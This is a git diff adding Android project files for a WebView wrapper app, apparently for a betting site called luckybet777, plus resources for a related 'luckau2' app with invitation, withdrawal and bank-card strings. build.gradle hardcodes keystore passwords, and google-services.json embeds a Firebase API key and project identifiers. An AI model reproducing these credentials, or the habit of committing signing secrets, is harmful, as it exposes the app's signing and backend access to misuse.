b/luckau2/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/luckau2/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/luckau2/src/main/res/drawable-v24/ic_launcher_foreground.xml b/luckau2/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/luckau2/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable-xhdpi/ic_action_back.png b/luckau2/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/luckau2/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/luckau2/src/main/res/drawable-xxhdpi/ic_action_back.png b/luckau2/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/luckau2/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/luckau2/src/main/res/drawable/big_bg.xml b/luckau2/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..7cc61f5 --- /dev/null +++ b/luckau2/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/ic_launcher_background.xml b/luckau2/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/luckau2/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/luckau2/src/main/res/drawable/input_bg.xml b/luckau2/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/luckau2/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/luckau2/src/main/res/drawable/pass_word_bg.xml b/luckau2/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/luckau2/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/luckau2/src/main/res/drawable/pass_word_bg1.xml b/luckau2/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/luckau2/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/pass_word_bg2.xml b/luckau2/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/luckau2/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/shape_btn_bg.xml b/luckau2/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/luckau2/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/shape_dialog_bg2.xml b/luckau2/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/luckau2/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/shape_dialog_bg3.xml b/luckau2/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/luckau2/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/drawable/shape_dialog_bg_new.xml b/luckau2/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/luckau2/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/luckau2/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/mipmap-hdpi/ic_empty.png b/luckau2/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/luckau2/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/luckau2/src/main/res/mipmap-hdpi/ic_pull_down.png b/luckau2/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/luckau2/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/luckau2/src/main/res/mipmap-xhdpi/ic_close.png b/luckau2/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/luckau2/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/luckau2/src/main/res/mipmap-xhdpi/ic_menu.png b/luckau2/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/luckau2/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/luckau2/src/main/res/mipmap-xxhdpi/app_logo.png b/luckau2/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..df491f4 Binary files /dev/null and b/luckau2/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/luckau2/src/main/res/values-en/strings.xml b/luckau2/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/luckau2/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/luckau2/src/main/res/values-night/themes.xml b/luckau2/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/luckau2/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/values/colors.xml b/luckau2/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/luckau2/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/luckau2/src/main/res/values/strings.xml b/luckau2/src/main/res/values/strings.xml new file mode 100644 index 0000000..b8221b0 --- /dev/null +++ b/luckau2/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 2LUCKAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/values/themes.xml b/luckau2/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/luckau2/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/xml/app_updater_paths.xml b/luckau2/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/luckau2/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/xml/network_security_config.xml b/luckau2/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/luckau2/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/luckau2/src/main/res/xml/provider_paths.xml b/luckau2/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/luckau2/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/luckau2/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/luckau2/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/luckybet777/.gitignore b/luckybet777/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/luckybet777/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/luckybet777/build.gradle b/luckybet777/build.gradle new file mode 100644 index 0000000..e683383 --- /dev/null +++ b/luckybet777/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.luckybet777" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "luckybet777" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/luckybet777/dskjweb.jks b/luckybet777/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/luckybet777/dskjweb.jks differ diff --git a/luckybet777/google-services.json b/luckybet777/google-services.json new file mode 100644 index 0000000..f857aab --- /dev/null +++ b/luckybet777/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "439018065525", + "project_id": "luckybet777-e5173", + "storage_bucket": "luckybet777-e5173.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:439018065525:android:5c4ee91f97e813868b323c", + "android_client_info": { + "package_name": "com.web.luckybet777" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCNcg8u30F-ByeYtjfllEJ4r7HIXg2aWdc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/luckybet777/ppn.jks b/luckybet777/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/luckybet777/ppn.jks differ diff --git a/luckybet777/proguard-rules.pro b/luckybet777/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/luckybet777/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/luckybet777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/luckybet777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/luckybet777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/luckybet777/src/main/AndroidManifest.xml b/luckybet777/src/main/AndroidManifest.xml new file mode 100644 index 0000000..6cedc63 --- /dev/null +++ b/luckybet777/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/java/com/web/luckybet777/MainActivity.java b/luckybet777/src/main/java/com/web/luckybet777/MainActivity.java new file mode 100644 index 0000000..efc3d85 --- /dev/null +++ b/luckybet777/src/main/java/com/web/luckybet777/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.luckybet777; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 218; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.luckybet777.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#d4b454"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.logo11); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/luckybet777/src/main/java/com/web/luckybet777/MyFirebaseMessageingService.java b/luckybet777/src/main/java/com/web/luckybet777/MyFirebaseMessageingService.java new file mode 100644 index 0000000..306a7e6 --- /dev/null +++ b/luckybet777/src/main/java/com/web/luckybet777/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.luckybet777; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/luckybet777/src/main/java/com/web/luckybet777/WebApplication.java b/luckybet777/src/main/java/com/web/luckybet777/WebApplication.java new file mode 100644 index 0000000..12126b4 --- /dev/null +++ b/luckybet777/src/main/java/com/web/luckybet777/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.luckybet777; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/luckybet777/src/main/res/drawable-anydpi/ic_action_back.xml b/luckybet777/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/luckybet777/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/luckybet777/src/main/res/drawable-hdpi/ic_action_back.png b/luckybet777/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/luckybet777/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/luckybet777/src/main/res/drawable-mdpi/ic_action_back.png b/luckybet777/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/luckybet777/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/luckybet777/src/main/res/drawable-v24/ic_launcher_foreground.xml b/luckybet777/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/luckybet777/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable-xhdpi/ic_action_back.png b/luckybet777/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/luckybet777/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/luckybet777/src/main/res/drawable-xxhdpi/ic_action_back.png b/luckybet777/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/luckybet777/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/luckybet777/src/main/res/drawable/big_bg.xml b/luckybet777/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..7fb66e5 --- /dev/null +++ b/luckybet777/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/ic_launcher_background.xml b/luckybet777/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/luckybet777/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/luckybet777/src/main/res/drawable/input_bg.xml b/luckybet777/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/luckybet777/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/luckybet777/src/main/res/drawable/pass_word_bg.xml b/luckybet777/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/luckybet777/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/luckybet777/src/main/res/drawable/pass_word_bg1.xml b/luckybet777/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/luckybet777/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/pass_word_bg2.xml b/luckybet777/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/luckybet777/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/shape_btn_bg.xml b/luckybet777/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/luckybet777/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/shape_dialog_bg2.xml b/luckybet777/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/luckybet777/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/shape_dialog_bg3.xml b/luckybet777/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/luckybet777/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/drawable/shape_dialog_bg_new.xml b/luckybet777/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/luckybet777/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/luckybet777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 